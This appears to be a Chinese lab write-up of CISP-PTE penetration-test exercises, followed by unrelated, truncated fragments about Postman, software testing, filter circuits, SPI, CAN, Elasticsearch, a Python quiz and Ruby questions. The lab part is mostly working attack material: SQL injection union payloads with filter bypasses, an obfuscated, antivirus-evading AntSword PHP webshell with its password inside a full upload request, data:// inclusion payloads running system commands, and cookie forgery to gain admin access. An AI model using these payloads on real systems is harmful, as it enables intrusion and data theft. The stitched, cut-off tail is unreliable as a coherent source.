文章目录
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
数据库中可以找到Key1

第一步 通过单引号闭合,并且注释绕过
通过尝试发现--+ #被过滤
uuid=xx'
uuid=xx' or '1'='1 页面回显正常
uuid=xx" or '1'='1 页面回显异常



第二步 判断表中列的数量,判断回显的位置
d6' order by 6 or '1'='1
发现order by被过滤,只能1,2,3,4,5,6依次尝试
d6'union select 1,2,3,4,5 or '1' = '1 页面回显错误
d6'union select 1,2,3,4,5,6 or '1' = '1 页面回显字段2


第四步 查询当前数据库的表名
当前数据库
d6'union select 1,database(),3,4,5,6 and '1' = '1
当前数据库中的表
d6'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),3,4,5,6 and '1' = '1
Article,IS_KEY


第五步 查看表中的列名
d6'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='2web' and table_name='IS_KEY'),3,4,5,6 and '1' = '1

第六步 查询表中的值
uuid=-xx' union select 1,(select group_concat(haha) from IS_KEY),3,4,5,6 and '1' = '1

通过诸如点的闭合,来确定诸如点,多试几次‘、“ 、’)、”)等
注入被过滤,可以使用or '1'='1`、and '1' = '1 、like进行注释绕过
关键字符被过滤,使用双写、大小写结合的方式
判断回显的位置
判断当前库-表-字段-内容
database()\、nformation_schema.tables、 information_schema.columns 、
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
尝试获取webshell,答案就在根目录下key.php文件中。

第一步 生成蚁剑自带的免杀马
<?php // 使用时请删除此行, 连接密码: vUwbBMnW ?>
<?php $cOKn=create_function(chr(0x280-0x25c).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').base64_decode('ZQ=='),chr(0154543/01047).chr(0643-0455).base64_decode('YQ==').chr(939-831).chr(0x31f-0x2f7).chr(714-678).chr(01066-0703).chr(51948/468).base64_decode('bQ==').chr(0503-0336).base64_decode('KQ==').chr(0x27d-0x242));$cOKn(base64_decode('NzY2O'.'TcxO0'.'BldkF'.'sKCRf'.''.chr(0200650/01410).base64_decode('RQ==').chr(735-678).base64_decode('VA==').str_rot13('I').''.''.chr(0x223-0x1dd).chr(0233330/01256).base64_decode('Mg==').chr(78948/918).base64_decode('WA==').''.'diQk1'.'uV10p'.'OzIzM'.'DA5MT'.'M7'.''));?>
第一步 先上传一张图片

第二步 更改后缀和内容
一般是该后缀绕过、添加图片头进行绕过
POST /start/ HTTP/1.1
Host: 192.168.0.109:82
Content-Length: 817
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.109:82
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywqtFNq7zkjSAwK24
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.109:82/start/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c2cm17dv8uo37uua9t318gpfiv
Connection: close
------WebKitFormBoundarywqtFNq7zkjSAwK24
Content-Disposition: form-data; name="files"; filename="123.php"
Content-Type: image/jpeg
GIF89a
<?php $cOKn=create_function(chr(0x280-0x25c).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').base64_decode('ZQ=='),chr(0154543/01047).chr(0643-0455).base64_decode('YQ==').chr(939-831).chr(0x31f-0x2f7).chr(714-678).chr(01066-0703).chr(51948/468).base64_decode('bQ==').chr(0503-0336).base64_decode('KQ==').chr(0x27d-0x242));$cOKn(base64_decode('NzY2O'.'TcxO0'.'BldkF'.'sKCRf'.''.chr(0200650/01410).base64_decode('RQ==').chr(735-678).base64_decode('VA==').str_rot13('I').''.''.chr(0x223-0x1dd).chr(0233330/01256).base64_decode('Mg==').chr(78948/918).base64_decode('WA==').''.'diQk1'.'uV10p'.'OzIzM'.'DA5MT'.'M7'.''));?>
------WebKitFormBoundarywqtFNq7zkjSAwK24--

第三步 查看发现,可以解析,
如果查看图片直接下载,就说明解析错误


第四步 查看key

文件后缀名的绕过:php、php3、Php、%00截断
文件内容:添加图片头GIF89a、免杀马
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。

第一步 查看发现输入,会自动添加个txt

第二步 通过参数,想要data://text/plain伪协议包含
发现php://字符被过滤,无法输入
查看当前目录下的文件
data://text/plain,<?php print_r(scandir(".")); ?>

第三步 通过大小写和双写结合,进行绕过, 查找key的位置
查看当前目录下的文件
dadata://ta://text/plain,<?php print_r(scandir(".")); ?>
查看上个目录下的文件
dadata://ta://text/plain,<?php print_r(scandir("..")); ?>
当前目录下的:hello.txt和index.php两个文件

上级目录下的文件:footer.php [4] => header.php [5] => images [6] => index.php [7] => js [8] => key.php [9] => start ) .txt

第四步 查看key
dadata://ta://text/plain,<?php @eval(system('cat ../key.php')); ?>

常用的:
data://text/plain,<?php @eval(system('cat ../key.php')); ?>
data:text/plain,<?php system(‘whoami’)?>
双写大小写绕过
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

第一步 查看题目,进行分析
<?php
error_reporting(0);
include "key4.php";
$TEMP = "CISP-PTE";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{
echo "$key4";
}
show_source(__FILE__);
服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了

第二步 构造反序列化
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,
并返回原始的对象结构str=s:8:"CISP-PTE";
s:代表字符类型
8:代表¥TEAM变量的长度
"标量TEAM的值"

失效的访问控制, 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
请使用admin用户访问权限获取KEY

第一步 提示 只允许,那就直接添加个地址检测

第二步 绕过本地地址检测,发现没成功
x-forwarded-for :127.0.0.1,提示没有权限


第三步 更改cookie信息
通过观察,判断IsAdmin字段的值,应该是校验是否为管理员权限的,可以更改为true,发现未成功;分析同时对username字段值进行校验,解码发现是guest普通用户,更改为admin编码,数据包重放,发现key
Username=R3Vlc3Q%3D--url解码--R3Vlc3Q--base64解码--Guest
admin--base64编码--YWRtaW4=--url编码--YWRtaW4%3D

Cookie: PHPSESSID=c2cm17dv8uo37uua9t318gpfiv; IsAdmin=true; Username=YWRtaW4%3D
x-forwarded-for:127.0.0.1

绕过本地的检测:x-forwarded-for:127.0.0.1
多去尝试更改一写cookie的认证信息
寻常时日中,藏着许多小美好,只等着有心之人去感受:等你回家的那盏灯;刚晾晒过的满是阳光气息的被单;窗台上盛开的那朵花。
做好每一件小事,关心和理解身边的人,用心欣赏路边的风景,把这些组合起来,你离幸福就会越来越近。
怀着一颗感恩的心去经营生活、创造生活,自然会越过越幸福。
—《学会感恩》
1.postman介绍Postman一款非常流行的API调试工具。其实,开发人员用的更多。因为测试人员做接口测试会有更多选择,例如Jmeter、soapUI等。不过,对于开发过程中去调试接口,Postman确实足够的简单方便,而且功能强大。2.下载安装官网地址:https://www.postman.com/下载完成后双击安装吧,安装过程极其简单,无需任何操作3.使用教程这里以百度为例,工具使用简单,填写URL地址即可发送请求,在下方查看响应结果和响应状态码常用方法都有支持请求方法:getpostputdeleteGet、Post、Put与Delete的作用get:请求方法一般是用于数据查询,
Ⅰ软件测试基础一、软件测试基础理论1、软件测试的必要性所有的产品或者服务上线都需要测试2、测试的发展过程3、什么是软件测试找bug,发现缺陷4、测试的定义使用人工或自动的手段来运行或者测试某个系统的过程。目的在于检测它是否满足规定的需求。弄清预期结果和实际结果的差别。5、测试的目的以最小的人力、物力和时间找出软件中潜在的错误和缺陷6、测试的原则28原则:20%的主要功能要重点测(eg:支付宝的支付功能,其他功能都是次要的)80%的错误存在于20%的代码中7、测试标准8、测试的基本要求功能测试性能测试安全性测试兼容性测试易用性测试外观界面测试可靠性测试二、质量模型衡量一个优秀软件的维度①功能性功
目录前言滤波电路科普主要分类实际情况单位的概念常用评价参数函数型滤波器简单分析滤波电路构成低通滤波器RC低通滤波器RL低通滤波器高通滤波器RC高通滤波器RL高通滤波器部分摘自《LC滤波器设计与制作》,侵权删。前言最近需要学习放大电路和滤波电路,但是由于只在之前做音乐频谱分析仪的时候简单了解过一点点运放,所以也是相当从零开始学习了。滤波电路科普主要分类滤波器:主要是从不同频率的成分中提取出特定频率的信号。有源滤波器:由RC元件与运算放大器组成的滤波器。可滤除某一次或多次谐波,最普通易于采用的无源滤波器结构是将电感与电容串联,可对主要次谐波(3、5、7)构成低阻抗旁路。无源滤波器:无源滤波器,又称
SPI接收数据左移一位问题目录SPI接收数据左移一位问题一、问题描述二、问题分析三、探究原理四、经验总结最近在工作在学习调试SPI的过程中遇到一个问题——接收数据整体向左移了一位(1bit)。SPI数据收发是数据交换,因此接收数据时从第二个字节开始才是有效数据,也就是数据整体向右移一个字节(1byte)。请教前辈之后也没有得到解决,通过在网上查阅前人经验终于解决问题,所以写一个避坑经验总结。实际背景:MCU与一款芯片使用spi通信,MCU作为主机,芯片作为从机。这款芯片采用的是它规定的六线SPI,多了两根线:RDY和INT,这样从机就可以主动请求主机给主机发送数据了。一、问题描述根据从机芯片手
最近在学习CAN,记录一下,也供大家参考交流。推荐几个我觉得很好的CAN学习,本文也是在看了他们的好文之后做的笔记首先是瑞萨的CAN入门,真的通透;秀!靠这篇我竟然2天理解了CAN协议!实战STM32F4CAN!原文链接:https://blog.csdn.net/XiaoXiaoPengBo/article/details/116206252CAN详解(小白教程)原文链接:https://blog.csdn.net/xwwwj/article/details/105372234一篇易懂的CAN通讯协议指南1一篇易懂的CAN通讯协议指南1-知乎(zhihu.com)视频推荐CAN总线个人知识总
深度学习部署:Windows安装pycocotools报错解决方法1.pycocotools库的简介2.pycocotools安装的坑3.解决办法更多Ai资讯:公主号AiCharm本系列是作者在跑一些深度学习实例时,遇到的各种各样的问题及解决办法,希望能够帮助到大家。ERROR:Commanderroredoutwithexitstatus1:'D:\Anaconda3\python.exe'-u-c'importsys,setuptools,tokenize;sys.argv[0]='"'"'C:\\Users\\46653\\AppData\\Local\\Temp\\pip-instal
ES一、简介1、ElasticStackES技术栈:ElasticSearch:存数据+搜索;QL;Kibana:Web可视化平台,分析。LogStash:日志收集,Log4j:产生日志;log.info(xxx)。。。。使用场景:metrics:指标监控…2、基本概念Index(索引)动词:保存(插入)名词:类似MySQL数据库,给数据Type(类型)已废弃,以前类似MySQL的表现在用索引对数据分类Document(文档)真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear
1.在Python3中,下列关于数学运算结果正确的是:(B)a=10b=3print(a//b)print(a%b)print(a/b)A.3,3,3.3333...B.3,1,3.3333...C.3.3333...,3.3333...,3D.3.3333...,1,3.3333...解析: 在Python中,//表示地板除(向下取整),%表示取余,/表示除(Python2向下取整返回3)2.如下程序Python2会打印多少个数:(D)k=1000whilek>1: print(k)k=k/2A.1000 B.10C.11D.9解析: 按照题意每次循环K/2,直到K值小于等
我完全不是程序员,正在学习使用Ruby和Rails框架进行编程。我目前正在使用Ruby1.8.7和Rails3.0.3,但我想知道我是否应该升级到Ruby1.9,因为我真的没有任何升级的“遗留”成本。缺点是什么?我是否会遇到与普通gem的兼容性问题,或者甚至其他我不太了解甚至无法预料的问题? 最佳答案 你应该升级。不要坚持从1.8.7开始。如果您发现不支持1.9.2的gem,请避免使用它们(因为它们很可能不被维护)。如果您对gem是否兼容1.9.2有任何疑问,您可以在以下位置查看:http://www.railsplugins.or
如何学习ruby的正则表达式?(对于假人) 最佳答案 http://www.rubular.com/在Ruby中使用正则表达式时是一个很棒的工具,因为它可以立即将结果可视化。 关于ruby-我如何学习ruby的正则表达式?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/1881231/